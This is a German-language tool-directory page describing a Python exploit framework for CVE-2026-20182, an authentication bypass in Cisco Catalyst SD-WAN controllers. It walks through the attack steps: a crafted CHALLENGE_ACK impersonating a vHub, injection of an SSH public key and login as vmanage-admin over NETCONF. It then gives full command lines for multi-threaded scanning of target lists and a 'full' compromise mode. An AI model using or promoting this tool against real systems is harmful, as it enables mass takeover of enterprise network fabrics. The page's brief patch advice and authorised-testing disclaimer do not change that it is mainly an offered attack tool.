Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-20182 — Cisco Catalyst SD-WAN Peering Authentifizierungsumgehung | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-20182
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationNetzwerksicherheitPenetrationstestsRed Teaming
GitHubnxploited/cve-2026-20182

CVE-2026-20182

Cisco Catalyst SD-WAN Peering Authentifizierungsumgehung

Repository anzeigen
128vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-20182

Cisco Catalyst SD-WAN Peering-Authentifizierungs-Bypass

CVE-2026-20182 — Cisco Catalyst SD-WAN Peering-Authentifizierungs-Bypass

Bewertungstool für autorisierte Tests des Cisco Catalyst SD-WAN Controller / Manager Peering-Authentifizierungs-Bypass (CVE-2026-20182).

CVECVE-2026-20182
SchweregradKritisch (CVSS 10.0)
CVSS 3.1AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
ProduktCisco Catalyst SD-WAN Controller (ehemals vSmart) · Cisco Catalyst SD-WAN Manager (ehemals vManage)
ProblemPeering-Authentifizierungsmechanismus wird nicht korrekt durchgesetzt
SkriptCVE-2026-20182.py

Schwachstellenzusammenfassung

Mai 2026 Advisory: Ein Fehler im Control-Connection-Handshake / Peering-Authentifizierung ermöglicht es einem nicht authentifizierten entfernten Angreifer, die Authentifizierung zu umgehen und hochprivilegierten internen Zugriff auf betroffene Systeme zu erhalten.

Ein Angreifer sendet präparierte Anfragen an das betroffene System. Bei Erfolg kann sich der Angreifer als internes, hochprivilegiertes, nicht root-Konto authentifizieren und NETCONF erreichen, was die Manipulation der SD-WAN-Fabric-Konfiguration ermöglicht.

ElementDetail
AngriffsvektorNetzwerk
Erforderliche BerechtigungenKeine
BenutzerinteraktionKeine
UmfangGeändert
AuswirkungVertraulichkeit, Integrität und Verfügbarkeit — Hoch

Empfehlung: Wenden Sie Cisco-Sicherheitsupdates gemäß der offiziellen Herstelleranleitung an. Beschränken Sie die Exposition der Management-Ebene, überwachen Sie Control-Plane-Verbindungen und prüfen Sie SD-WAN-Controller auf nicht autorisierte Konfigurationsänderungen.


Kontakt

Telegram: @KNxploited


Konsolenvorschau

CVE-2026-20182 Operationskonsole


Tool: CVE-2026-20182.py

Python 3 Exploit-Framework für CVE-2026-20182 gegen Cisco SD-WAN vdaemon (UDP/DTLS 12346).

Was es tut (Schritt für Schritt)

SchrittPhaseBeschreibung
1Ziele ladentargets.txt parsen, Duplikate nach (host, domain_id, site_id) zusammenführen
2OpenSSL-VorbereitungOpenSSL 3.x/4.x-Shared-Libraries für benutzerdefiniertes DTLS laden
3DTLS-VerbindungVerbindung zum Ziel-UDP-Port herstellen (immer zuerst 12346, dann optionale Listen-Ports)
4CHALLENGEServer-CHALLENGE (0x08) empfangen
5CHALLENGE_ACKPräpariertes CHALLENGE_ACK als vHub (Typ 2) senden — Authentifizierungs-Bypass
6HelloHello-Austausch abschließen — bestätigt Bypass-Pfad
7aCHECK-ModusHier anhalten — nur Bypass / Hello OK aufzeichnen (keine Schlüssel, kein SSH)
7bFULL-ModusSSH-öffentlichen Schlüssel über VMANAGE_TO_PEER injizieren
8InjektionsbestätigungREGISTER_TO_VMANAGE (0x0D) als Protokollbestätigung erwarten
9SSH-ÜberprüfungLogin als vmanage-admin auf TCP 830 (NETCONF), optional 22 testen
10AusgabeErgebnisse in Tier-Dateien + menschenlesbare Befehlsliste sortieren

Fabric-Fallback: Bei TEAR_DOWN oder Parameterkonflikt werden alternative Domain/Site-Voreinstellungen (1,100), (1,1), (0,0) wiederholt, es sei denn, --no-fallback ist angegeben.


Ergebnisstufen (sorgfältig lesen)

StufeDateiBedeutung
01 — SSH bestätigtcisco_sdwan_01_confirmed_ssh.jsonlssh_verified=true — einzige Stufe, die als vollständiger Kompromittierungsnachweis gilt
02 — Nur Injektionsbestätigungcisco_sdwan_02_inject_ack_only.jsonlProtokoll hat Schlüsselinjektion akzeptiert; SSH-Login fehlgeschlagen
03 — Nur Bypasscisco_sdwan_03_bypass_only.jsonlHello/Bypass OK; keine bestätigte Injektion

Wichtig

  • check-Modus → höchstens Stufe 03 (Bypass-Sonde). Kein vollständiger Exploit-Nachweis.
  • full-Modus → Ziel ist Stufe 01 (ssh_verified).
  • https://host in der Liste → nur TCP-Web-Hinweis (80/443). Nicht UDP DTLS auf 443.

Anforderungen

AnforderungHinweise
Python3.9+
pipcryptography, rich
OpenSSL3.x oder 4.x Shared Libraries (libssl + libcrypto) — zwingend erforderlich
pip install -r requirements.txt

OpenSSL (System)

Windows

  1. Installieren Sie Win64 OpenSSL 3.x oder ein Äquivalent
  2. Fügen Sie bin\ zur PATH-Umgebungsvariablen hinzu, oder setzen Sie:
OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

Das Tool beendet sich beim Start, wenn OpenSSL nicht geladen werden kann.


Schnellstart

Interaktives Menü (Standard)

python CVE-2026-20182.py
  • Optionen 1–11 konfigurieren, dann 0 = SCAN STARTEN
  • Standard-Ausführungsmodus: check (sicherer Bypass-Sonde)

Nicht interaktiv (Automatisierung)

python CVE-2026-20182.py -y

Ausführungsmodi

ModusFlagSSH-InjektionSSH-ÜberprüfungVerwendung wenn
CHECK--mode check (Standard)NeinNeinMassen-Screening, Bypass-Erkennung
FULL--mode fullJaJa (es sei denn, --no-ssh-verify)Kompromittierungsnachweis

CHECK — Nur Bypass-Sonde

python CVE-2026-20182.py -y --mode check

FULL — Schlüssel injizieren + SSH überprüfen (nur autorisierte Ziele)

python CVE-2026-20182.py -y --mode full

CLI-Referenz (jedes Flag + Beispiel)

Ziele & Arbeiter

-f / --file — Zieledatei (Standard: targets.txt)

python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — Arbeiter-Threads (1–200, Standard 12)

python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — Standard-DOMAIN_ID, wenn nicht in Liste (Standard: 1)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — Standard-SITE_ID, wenn nicht in Liste (Standard: 100)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

Modus & Automatisierung

--mode — check | full

python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — interaktives Menü überspringen; nur CLI-Werte verwenden

python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

SSH-Überprüfung

--no-ssh-verify — SSH-Test nach Injektion überspringen (nicht empfohlen im full-Modus)

python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — zusätzlich TCP 22 nach 830 versuchen

python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / Fabric

--no-try-list-udp — nur UDP 12346; :port aus Liste ignorieren

python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — Labor: zusätzliche UDP-Ports auf jedem Host

python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — Domain/Site-Wiederholung bei TEAR_DOWN deaktivieren

python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

Protokollierung

Tool herunterladen